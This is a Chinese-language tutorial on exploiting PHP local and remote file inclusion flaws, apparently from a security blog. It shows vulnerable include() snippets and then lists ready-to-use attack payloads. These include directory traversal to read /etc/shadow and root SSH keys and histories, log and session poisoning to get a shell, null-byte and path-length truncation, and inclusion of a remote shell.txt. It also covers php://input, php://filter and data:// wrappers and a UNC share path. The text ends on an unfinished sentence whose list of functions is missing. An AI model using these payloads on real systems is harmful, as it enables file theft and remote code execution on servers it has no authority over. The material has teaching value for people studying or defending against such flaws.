PHP文件包含漏洞的產生原因是在通過PHP的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。最常見的就屬於本地文件包含(Local File Inclusion)漏洞了。
我們來看下面一段index.php代碼:
1
2
3
4
5
6
|
#!php if
( $_GET['func'] )
{ include
$_GET['func']; }
else
{ include
'default.php'; } |
程序的本意可能是當提交url爲http://example.com/index.php?func=add.php時,調用add.php裏面的樣式內容和功能。直接訪問http://example.com/index.php則會包含默認的default.php
那麼問題來了,如果我們提交 ,且evil.jpg是由黑客上傳到服務器上的一個圖片,在圖片的末尾添加了惡意的php代碼,那麼惡意的代碼就會被引入當前文件執行。
如果被包含的文件中無有效的php代碼,則會直接把文件內容輸出。
在接下來的內容中會以代碼樣本作爲例子,來給大家介紹各種奇葩猥瑣的利用姿勢。
0x01 普通本地文件包含
1
2
|
#!php < ?php
include ( "inc/"
. $_GET[' file '] ) ;
? > |
-
包含同目錄下的文件:
?file=.htaccess -
目錄遍歷:
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中這兩個文件儲存着所有文件的路徑,需要root權限)
-
包含錯誤日誌: ?file=../../../../../../../../../var/log/apache/error.log (試試把UA設置爲“”來使payload進入日誌)
-
獲取web目錄或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)
-
包含上傳的附件:
?file=../attachment/media/xxx.file
-
讀取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session文件一般在/tmp目錄下,格式爲sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制session的值,也許你能夠獲得一個shell)
-
如果擁有root權限還可以試試讀這些東西:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件標識符)
/proc/mounts
/proc/config.gz
-
如果有phpinfo可以包含臨時文件:
參見http://hi.baidu.com/mmnwzsdvpkjo ... 39965145eea984284el
0x02 有限制的本地文件包含
1
2
|
#!php < ?php
include ( "inc/"
. $_GET[' file ']
. ".htm" ) ;
? > |
-
%00截斷:
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小於5.3.4有效)
-
%00截斷目錄遍歷:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系統,比如FreeBSD,OpenBSD,NetBSD,Solaris)
-
路徑長度截斷:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小於5.2.8(?)可以成功,linux需要文件名長於4096,windows需要長於256)
-
點號截斷:
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256)
0x03 普通遠程文件包含
1
2
|
#!php < ?php
include ( $_GET[' file '] ) ;
? > |
-
遠程代碼執行:
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On並且 allow_url_include=On)
-
利用php流input:
?file=php://input
(需要allow_url_include=On,詳細→http://php.net/manual/en/wrappers.php.php)
-
利用php流filter:
?file=php://filter/convert.base64-encode/resource=index.php
(同上)
-
利用data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要allow_url_include=On)
-
利用XSS執行任意代碼:
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(需要allow_url_fopen=On,allow_url_include=On並且防火牆或者白名單不允許訪問外網時,先在同站點找一個XSS漏洞,包含這個頁面,就可以注入惡意代碼了。條件非常極端和特殊- -)
0x04 有限制的遠程文件包含
1
2
|
#!php < ?php
include ( $_GET[' file ']
. ".htm" ) ;
? > |
-
?file=http://example.com/shell
-
?file=http://example.com/shell.txt?
-
?file=http://example.com/shell.txt%23
(需要allow_url_fopen=On並且allow_url_include=On)
-
?file=\evilshare\shell.php (只需要allow_url_include=On)
其實在前面也說了,這些漏洞產生原因是PHP函數在引入文件時,傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件。實際上我們操作文件的函數不只是include()一個,上面提到的一些截斷的方法同樣可以適用於以下函數:
相關鏈接:http://bbs.ichunqiu.com/thread-9192-1-1.html?from=csdnJG